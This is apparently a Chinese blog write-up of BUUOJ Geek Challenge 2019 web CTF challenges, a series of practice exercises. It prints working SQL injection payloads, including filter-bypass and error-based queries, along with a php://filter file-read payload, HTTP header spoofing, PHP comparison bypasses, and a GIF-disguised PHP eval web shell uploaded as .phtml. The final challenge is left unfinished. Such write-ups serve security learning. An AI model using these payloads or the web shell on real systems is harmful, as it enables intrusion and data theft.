BUUOJ 极客大挑战 2019套餐

仅为做题思路,记下笔记,如有错误烦请斧正

[极客大挑战 2019]EasySQL

进题目发现是个登陆页面
BUUOJ 极客大挑战 2019套餐_第1张图片
admin admin登陆一下
BUUOJ 极客大挑战 2019套餐_第2张图片
注意URL,试试万能密码?username=admin&password=admin' or '1'='1(tip:当passwd不对时后面的or 1=1恒真导致错误密码也可登陆)
在这里插入图片描述


[极客大挑战 2019]Havefun

题目主页是个可爱的小猫
BUUOJ 极客大挑战 2019套餐_第3张图片
查看源码(weber必做的事哈哈)发现php代码
BUUOJ 极客大挑战 2019套餐_第4张图片
根据提示传参
BUUOJ 极客大挑战 2019套餐_第5张图片


[极客大挑战 2019]Secret

哇哦,这背景与文字色
BUUOJ 极客大挑战 2019套餐_第6张图片
看源码,发现另一个页面
在这里插入图片描述
套娃?
BUUOJ 极客大挑战 2019套餐_第7张图片
再点
BUUOJ 极客大挑战 2019套餐_第8张图片
因为bp一直再开,看看target,把每个response都看了一下,发现跳转了一个
BUUOJ 极客大挑战 2019套餐_第9张图片
访问一下给了源码,过滤了../、tp、input、data穿透和代码执行不行了,直接伪协议读,防止输出过滤加上base64encode,payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php
BUUOJ 极客大挑战 2019套餐_第10张图片
读出来的base解码得到flag
BUUOJ 极客大挑战 2019套餐_第11张图片


[极客大挑战 2019]LoveSQL

和第一题界面差不多,最上面的小红字放大看看,弱密码试试依然错误
在这里插入图片描述
BUUOJ 极客大挑战 2019套餐_第12张图片
我就不用sqlmap了,关于sqlmap扫文件百度有很多,手工sql好了,查列为4的时候报错
BUUOJ 极客大挑战 2019套餐_第13张图片
联合查询记得把账号置为不存在的(随便输),不然正常回显会把联合查询的回显挤下去,自己可以试试
BUUOJ 极客大挑战 2019套餐_第14张图片
正常注入,查表名username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=admin
BUUOJ 极客大挑战 2019套餐_第15张图片
查列名?username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="l0ve1ysq1"%23&password=admin
BUUOJ 极客大挑战 2019套餐_第16张图片
查字段?username=1' union select 1,group_concat(id,":",username,":",password),3 from l0ve1ysq1%23&password=admin
BUUOJ 极客大挑战 2019套餐_第17张图片
太乱了,看源码(快跑~)
BUUOJ 极客大挑战 2019套餐_第18张图片


[极客大挑战 2019]Http

主页挺好看
BUUOJ 极客大挑战 2019套餐_第19张图片
没找到有用的信息(Syclover2019招新群:671301484,逃~)看源码
在这里插入图片描述
进去看看,考察的是http头信息,具体可百度看师傅们总结的http header
BUUOJ 极客大挑战 2019套餐_第20张图片
bp抓包加上referer
BUUOJ 极客大挑战 2019套餐_第21张图片
更改浏览器标识User-Agent
BUUOJ 极客大挑战 2019套餐_第22张图片
XFF伪造IP
BUUOJ 极客大挑战 2019套餐_第23张图片
get it


[极客大挑战 2019]BabySQL

万能密码错了,看了报错应该是过滤了or
BUUOJ 极客大挑战 2019套餐_第24张图片
双写试试能不给绕过
BUUOJ 极客大挑战 2019套餐_第25张图片
简单fuzz一下,可以看到基本函数都被过滤了,不过问题不大,双写就能绕过(why?str_replace()函数只把关键字做了一次过滤,并未递归,例如将seselectect替换为select),注意查表时information里面也有个or
BUUOJ 极客大挑战 2019套餐_第26张图片
查字段:?username=1' oorrder bbyy 4--+&password=admin三个
在这里插入图片描述
查回显位置:?username=1' ununionion seselectlect 1,2,3--+&password=admin
BUUOJ 极客大挑战 2019套餐_第27张图片
查表:?username=1' ununionion seselectlect 1,group_concat(table_name),3 ffromrom infoorrmation_schema.tables whwhereere table_schema=database()--+&password=admin
BUUOJ 极客大挑战 2019套餐_第28张图片
查列:?username=1' ununionion seselectlect 1,group_concat(column_name),3 ffromrom infoorrmation_schema.columns whwhereere table_name="b4bsql"--+&password=admin
BUUOJ 极客大挑战 2019套餐_第29张图片
查字段:很尴尬,password里面也有个or忘了双写哈哈
BUUOJ 极客大挑战 2019套餐_第30张图片
最终payload:?username=1' ununionion seselectlect 1,group_concat(id,":",username,":",passwoorrd),3 ffromrom b4bsql--+&password=admin
在这里插入图片描述


[极客大挑战 2019]BuyFlag

漂亮的主页要我去买flag,拒绝py,看源码有pay.php,好贵,而且只有CUIT的学生才可以买,还要密码,看看源码发现这个
BUUOJ 极客大挑战 2019套餐_第31张图片
基础知识,绕过is_numeric,后面加空格/%00。参考博客,
直接输密码应该不对,因为我们还不是CUIT的学生,抓包看看吧
BUUOJ 极客大挑战 2019套餐_第32张图片
cookie可疑,改成1试试
在这里插入图片描述
可以输passwd了,password=404%20,记在bp里把请求方式改为POST,并加上Content-Type: application/x-www-form-urlencoded它用于指示资源的MIME类型
BUUOJ 极客大挑战 2019套餐_第33张图片
盲猜传一个money参数
在这里插入图片描述
猜测正确,但是本题采用php5.3版本,此版本不能接受八位长的数字,所以两种办法

  • 第一、用科学计数法
    在这里插入图片描述
    • 第二、猜测后端用的strcmp()函数比较的钱数
      了解strcmp:
      int strcmp ( string $str1 , string $str2 )
      参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
      此函数在php 5.2版本之前,利用strcmp函数将数组与字符串进行比较会返回-1,但是从5.3开始,会返回0
      参考博客
      所以我们用数组绕过也行
      在这里插入图片描述

[极客大挑战 2019]Upload

先传个试试,shell.php的一句话,提示在这里插入图片描述
后缀改为jpg试试
在这里插入图片描述
可能是检测文件头内容,用GIF淦,一句话如下

GIF89a? 
<script language="php">eval($_REQUEST[shell])</script>

写到笔记本里。后缀改为gif上传,bp抓包改为php(apache解析,改为gif连不上马儿),发现黑名单了,换个姿势,用php3、php5、pht、phtml、phpt,最终还是用了phtml
在这里插入图片描述
BUUOJ 极客大挑战 2019套餐_第34张图片
BUUOJ 极客大挑战 2019套餐_第35张图片
没给路径,一般在 /upload/文件名里面,试一下,果然(大胆猜测,小心证明)
BUUOJ 极客大挑战 2019套餐_第36张图片
autsword或者菜刀连接,文件太多了,用终端找flag,find / -name flag
BUUOJ 极客大挑战 2019套餐_第37张图片


[极客大挑战 2019]HardSQL

还是那个登陆页面,万能密码被逮住了,正常注入不行,双写不可,看看有没有报错注入,过滤了空格 等号 大于号小于号,like代替等号 用括号括起来就可以无空格BUUOJ 极客大挑战 2019套餐_第38张图片
一开始用--+没能把后面的语句注释掉,换成%23
BUUOJ 极客大挑战 2019套餐_第39张图片
查表?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123
BUUOJ 极客大挑战 2019套餐_第40张图片
查列?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123
BUUOJ 极客大挑战 2019套餐_第41张图片
查字段?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(id,":",username,":",password))from(H4rDsq1)),0x7e),1))%23&password=123
BUUOJ 极客大挑战 2019套餐_第42张图片
因updatexml回显最多32位,所以可以用left和right拼接出来
?username=admin'or(updatexml(1,concat(0x7e,(select(left(password,32))from(H4rDsq1)),0x7e),1))%23&password=123
?username=admin'or(updatexml(1,concat(0x7e,(select(right(password,22))from(H4rDsq1)),0x7e),1))%23&password=123
BUUOJ 极客大挑战 2019套餐_第43张图片
BUUOJ 极客大挑战 2019套餐_第44张图片
只有报错才行吗?当然不,试了试盲注,虽然><被ban了但是还有like鸭,淦
查数据库?username=admin'or(left((database()),1)like'g')%23&password=123
BUUOJ 极客大挑战 2019套餐_第45张图片
查表?username=admin'or(left((select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),1)like'H')%23&password=123
BUUOJ 极客大挑战 2019套餐_第46张图片
写个脚本或者bp自动化爆破一下就行,我先挖个坑,不一定填哈哈哈


[极客大挑战 2019]FinalSQL

五个选项都没啥用,fuzz一下,过滤了不少东西
BUUOJ 极客大挑战 2019套餐_第47张图片

暂更

你可能感兴趣的:(CTF做题记录)